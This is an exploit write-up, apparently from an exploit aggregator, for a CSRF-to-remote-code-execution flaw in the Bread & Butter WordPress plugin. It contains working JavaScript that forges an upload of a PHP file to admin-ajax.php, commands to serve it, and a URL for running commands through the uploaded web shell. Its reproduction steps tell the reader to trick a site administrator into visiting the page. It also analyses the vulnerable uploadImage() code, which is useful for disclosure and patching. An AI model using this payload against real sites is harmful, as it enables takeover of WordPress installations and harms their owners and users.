## https://sploitus.com/exploit?id=DEAE7E3A-EBF7-56C0-87B6-A1EE3C7EFF99
# Bread & Butter: Gate content + Capture leads + Collect first-party data + Nurture with Ai agents
CSRF Attack
function exploit() {
const form = document.createElement('form');
form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
form.method = 'POST';
form.enctype = 'multipart/form-data';
form.target = '_blank';
form.style.display = 'none';
// Action field
const action = document.createElement('input');
action.name = 'action';
action.value = 'upload_image';
form.appendChild(action);
// File field
const file = document.createElement('input');
file.type = 'file';
file.name = 'file';
const blob = new Blob([``], { type: 'image/jpeg' });
const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
const dt = new DataTransfer();
dt.items.add(phpFile);
file.files = dt.files;
form.appendChild(file);
document.body.appendChild(form);
form.submit();
}
```
For a POC you can run it locally with something like:
```console
# Serve the CSRF exploit
python3 -m http.server 1337
# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami
```
Once logged in as an admin on the victim's browser, clicking the link leads to RCE.
## Vulnerability Details
### **Root Cause Analysis**
The vulnerability exists in the `uploadImage()` function at [line 411](https://plugins.trac.wordpress.org/browser/bread-butter/trunk/src/Base/Ajax.php#L411) of `/bread-butter/src/Base/Ajax.php`:
```php
public function uploadImage() {
$this->checkAdmin();
$file = $_FILES['file'];
$type = $file['type'];
$name = $file['name'];
$image_url = $file['tmp_name'];
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = basename($name);
if (wp_mkdir_p($upload_dir['path'])) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // Attacker get's file moved to acessable storage!
// Post-upload processing (after vulnerability is exploited)
$wp_filetype = wp_check_filetype($filename, null);
// ... rest of function
}
```
### **AJAX Handler Registration**
The vulnerable function is registered as a WordPress AJAX handler at [line 95](https://plugins.trac.wordpress.org/browser/bread-butter/trunk/src/Base/Ajax.php#L95):
```php
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));
```
Where `self::$uploadImage` is defined as `upload_image` at [line 37](https://plugins.trac.wordpress.org/browser/bread-butter/trunk/src/Base/Ajax.php#L37).
### **Authorization Check**
The only security control is the `checkAdmin()` method at [lines 166-171](https://plugins.trac.wordpress.org/browser/bread-butter/trunk/src/Base/Ajax.php#L166):
```php
public function checkAdmin() {
if (!current_user_can('manage_options')) {
echo 0;
wp_die();
}
}
```
### **CSRF Exploitation**
The lack of CSRF protection makes this vulnerability exploitable via Cross-Site Request Forgery attacks. The `attack.html` POC demonstrates this by:
1. **Creating a malicious form** that targets the WordPress AJAX endpoint
2. **Using `target="_blank"`** to bypass CORS restrictions
3. **Embedding a PHP web shell** directly in the HTML/JavaScript
4. **Automatically submitting** the form when the victim clicks the button
## Manual Reproduction
### **CSRF to RCE Exploitation**
1. Create an HTML page with the CSRF payload (see `attack.html`)
2. Serve the page on any web server (attacker-controlled)
3. Trick an administrator into visiting the malicious page
4. The administrator's browser will automatically submit the form
5. The malicious file will be uploaded to their WordPress site
6. Access the uploaded shell at `/wp-content/uploads/[year]/[month]/test.php?cmd=whoami`
### **Direct Exploitation (Admin Required)**
1. Login to WordPress admin panel with administrator privileges
2. Navigate to the Bread & Butter plugin settings
3. Use the image upload functionality or send direct AJAX request to `/wp-admin/admin-ajax.php`
4. Upload a PHP file with malicious content:
```php
```
5. Access the uploaded file at `/wp-content/uploads/[year]/[month]/[filename].php`